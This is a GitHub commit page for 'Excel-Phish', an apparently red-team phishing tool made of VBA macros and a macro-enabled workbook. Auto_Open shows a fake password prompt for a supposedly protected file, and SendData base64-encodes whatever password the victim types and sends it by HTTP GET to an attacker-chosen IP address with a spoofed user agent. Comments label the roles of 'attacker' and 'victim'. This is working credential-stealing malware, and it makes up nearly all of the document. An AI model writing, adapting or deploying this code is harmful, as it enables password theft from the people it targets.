Skip to content

Commit f67fbca

Browse files
authored
Uploaded Excel docs + exported VBA code
1 parent 8836b10 commit f67fbca

File tree

7 files changed

+204
-1
lines changed

7 files changed

+204
-1
lines changed

AutoOpen.bas

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
Attribute VB_Name = "AutoOpen"
2+
Public FileName, FilePath, IPAddr As String
3+
4+
Sub Auto_Open()
5+
6+
' TODO by attacker - Change variable values
7+
FilePath = "Documentation"
8+
FileName = "CHANGEME.xlsx"
9+
IPAddr = "127.0.0.1"
10+
11+
PasswordForm.FileNameLabel.Caption = "'" + FileName + "' is protected."
12+
13+
PasswordForm.Show
14+
' UX - Put cursor in textbox so victim can start typing as per normal functionality
15+
PasswordForm.PasswordBox.SetFocus
16+
End Sub
17+
18+
19+

ErrorForm.frm

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
VERSION 5.00
2+
Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} ErrorForm
3+
Caption = "Microsoft Excel"
4+
ClientHeight = 1320
5+
ClientLeft = 108
6+
ClientTop = 456
7+
ClientWidth = 9396.001
8+
OleObjectBlob = "ErrorForm.frx":0000
9+
StartUpPosition = 1 'CenterOwner
10+
End
11+
Attribute VB_Name = "ErrorForm"
12+
Attribute VB_GlobalNameSpace = False
13+
Attribute VB_Creatable = False
14+
Attribute VB_PredeclaredId = True
15+
Attribute VB_Exposed = False
16+
Private Sub OKButton_Click()
17+
ErrorForm.Hide
18+
PasswordForm.Show
19+
End Sub

ErrorForm.frx

4.02 KB
Binary file not shown.

Excel-Phish.xlsm

30.9 KB
Binary file not shown.

PasswordForm.frm

Lines changed: 163 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,163 @@
1+
VERSION 5.00
2+
Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} PasswordForm
3+
Caption = "Password"
4+
ClientHeight = 1632
5+
ClientLeft = 108
6+
ClientTop = 456
7+
ClientWidth = 4668
8+
OleObjectBlob = "PasswordForm.frx":0000
9+
StartUpPosition = 1 'CenterOwner
10+
End
11+
Attribute VB_Name = "PasswordForm"
12+
Attribute VB_GlobalNameSpace = False
13+
Attribute VB_Creatable = False
14+
Attribute VB_PredeclaredId = True
15+
Attribute VB_Exposed = False
16+
Option Explicit
17+
18+
Private Const clOneMask = 16515072 '000000 111111 111111 111111
19+
Private Const clTwoMask = 258048 '111111 000000 111111 111111
20+
Private Const clThreeMask = 4032 '111111 111111 000000 111111
21+
Private Const clFourMask = 63 '111111 111111 111111 000000
22+
23+
Private Const clHighMask = 16711680 '11111111 00000000 00000000
24+
Private Const clMidMask = 65280 '00000000 11111111 00000000
25+
Private Const clLowMask = 255 '00000000 00000000 11111111
26+
27+
Private Const cl2Exp18 = 262144 '2 to the 18th power
28+
Private Const cl2Exp12 = 4096 '2 to the 12th
29+
Private Const cl2Exp6 = 64 '2 to the 6th
30+
Private Const cl2Exp8 = 256 '2 to the 8th
31+
Private Const cl2Exp16 = 65536 '2 to the 16th
32+
33+
' UX - Enter key will now
34+
Private Sub PasswordBox_KeyDown(ByVal KeyCode As MSForms.ReturnInteger, ByVal Shift As Integer)
35+
If KeyCode = vbKeyReturn Then
36+
OKButton_Click
37+
End If
38+
End Sub
39+
40+
Private Sub OKButton_Click()
41+
42+
On Error Resume Next
43+
44+
Dim Path As String
45+
Path = Application.ActiveWorkbook.Path
46+
47+
Dim src As Workbook
48+
On Error GoTo WrongPWD
49+
Set src = Workbooks.Open(Path + "\" + FilePath + "\" + FileName, True, True, Password:=PasswordBox.text)
50+
ThisWorkbook.Activate
51+
Worksheets("Sheet1") = src.Worksheets("sheet1")
52+
53+
WrongPWD:
54+
55+
If Err.Number = 1004 Then
56+
PasswordForm.Hide
57+
ErrorForm.Show
58+
Else
59+
SendData
60+
End If
61+
62+
End Sub
63+
64+
Private Sub CancelButton_Click()
65+
Workbooks.Close
66+
End Sub
67+
68+
Public Function SendData()
69+
70+
On Error GoTo Timeout
71+
72+
Dim objHTTP, myurl As Variant
73+
Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
74+
75+
' Optional - Change timeouts to larger values if slow network
76+
objHTTP.SetTimeouts 200, 200, 200, 200
77+
78+
myurl = "http://" + IPAddr + "/" + EncodeBase64(PasswordBox.text)
79+
objHTTP.Open "GET", myurl, False
80+
objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
81+
objHTTP.send ("")
82+
ActiveWorkbook.Close False
83+
84+
' If victim does not have network connectivity, do not break functionality
85+
Timeout:
86+
ActiveWorkbook.Close False
87+
PasswordForm.Hide
88+
Exit Function
89+
90+
End Function
91+
92+
' Had issue with the initial encoding function, this works - https://stackoverflow.com/a/170018
93+
Public Function EncodeBase64(sString As String) As String
94+
95+
Dim bTrans(63) As Byte, lPowers8(255) As Long, lPowers16(255) As Long, bOut() As Byte, bIn() As Byte
96+
Dim lChar As Long, lTrip As Long, iPad As Integer, lLen As Long, lTemp As Long, lPos As Long, lOutSize As Long
97+
98+
For lTemp = 0 To 63 'Fill the translation table.
99+
Select Case lTemp
100+
Case 0 To 25
101+
bTrans(lTemp) = 65 + lTemp 'A - Z
102+
Case 26 To 51
103+
bTrans(lTemp) = 71 + lTemp 'a - z
104+
Case 52 To 61
105+
bTrans(lTemp) = lTemp - 4 '1 - 0
106+
Case 62
107+
bTrans(lTemp) = 43 'Chr(43) = "+"
108+
Case 63
109+
bTrans(lTemp) = 47 'Chr(47) = "/"
110+
End Select
111+
Next lTemp
112+
113+
For lTemp = 0 To 255 'Fill the 2^8 and 2^16 lookup tables.
114+
lPowers8(lTemp) = lTemp * cl2Exp8
115+
lPowers16(lTemp) = lTemp * cl2Exp16
116+
Next lTemp
117+
118+
iPad = Len(sString) Mod 3 'See if the length is divisible by 3
119+
If iPad Then 'If not, figure out the end pad and resize the input.
120+
iPad = 3 - iPad
121+
sString = sString & String(iPad, Chr(0))
122+
End If
123+
124+
bIn = StrConv(sString, vbFromUnicode) 'Load the input string.
125+
lLen = ((UBound(bIn) + 1) \ 3) * 4 'Length of resulting string.
126+
lTemp = lLen \ 72 'Added space for vbCrLfs.
127+
lOutSize = ((lTemp * 2) + lLen) - 1 'Calculate the size of the output buffer.
128+
ReDim bOut(lOutSize) 'Make the output buffer.
129+
130+
lLen = 0 'Reusing this one, so reset it.
131+
132+
For lChar = LBound(bIn) To UBound(bIn) Step 3
133+
lTrip = lPowers16(bIn(lChar)) + lPowers8(bIn(lChar + 1)) + bIn(lChar + 2) 'Combine the 3 bytes
134+
lTemp = lTrip And clOneMask 'Mask for the first 6 bits
135+
bOut(lPos) = bTrans(lTemp \ cl2Exp18) 'Shift it down to the low 6 bits and get the value
136+
lTemp = lTrip And clTwoMask 'Mask for the second set.
137+
bOut(lPos + 1) = bTrans(lTemp \ cl2Exp12) 'Shift it down and translate.
138+
lTemp = lTrip And clThreeMask 'Mask for the third set.
139+
bOut(lPos + 2) = bTrans(lTemp \ cl2Exp6) 'Shift it down and translate.
140+
bOut(lPos + 3) = bTrans(lTrip And clFourMask) 'Mask for the low set.
141+
If lLen = 68 Then 'Ready for a newline
142+
bOut(lPos + 4) = 13 'Chr(13) = vbCr
143+
bOut(lPos + 5) = 10 'Chr(10) = vbLf
144+
lLen = 0 'Reset the counter
145+
lPos = lPos + 6
146+
Else
147+
lLen = lLen + 4
148+
lPos = lPos + 4
149+
End If
150+
Next lChar
151+
152+
If bOut(lOutSize) = 10 Then lOutSize = lOutSize - 2 'Shift the padding chars down if it ends with CrLf.
153+
154+
If iPad = 1 Then 'Add the padding chars if any.
155+
bOut(lOutSize) = 61 'Chr(61) = "="
156+
ElseIf iPad = 2 Then
157+
bOut(lOutSize) = 61
158+
bOut(lOutSize - 1) = 61
159+
End If
160+
161+
EncodeBase64 = StrConv(bOut, vbUnicode) 'Convert back to a string and return it.
162+
163+
End Function

PasswordForm.frx

3.02 KB
Binary file not shown.

README.md

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,8 +13,10 @@
1313

1414
The xlsm will work as-is, however you may wish to recreate the document rather than running random macros from the Internet. Therefore the three standalone VBA files have been exported for review.
1515

16+
## Introduction
17+
1618
Phish password protected Excel-Files - written by [0x23353435](https://github.com/0x23353435) and [S3cur3Th1sSh1t](https://github.com/S3cur3Th1sSh1t).
1719

1820
The corresponding blogpost can be found here:
1921

20-
[https://s3cur3th1ssh1t.github.io/Phish-password-protected-Excel-files/](https://s3cur3th1ssh1t.github.io/Phish-password-protected-Excel-files/)
22+
[https://s3cur3th1ssh1t.github.io/Phish-password-protected-Excel-files/](https://s3cur3th1ssh1t.github.io/Phish-password-protected-Excel-files/)

0 commit comments

Comments
 (0)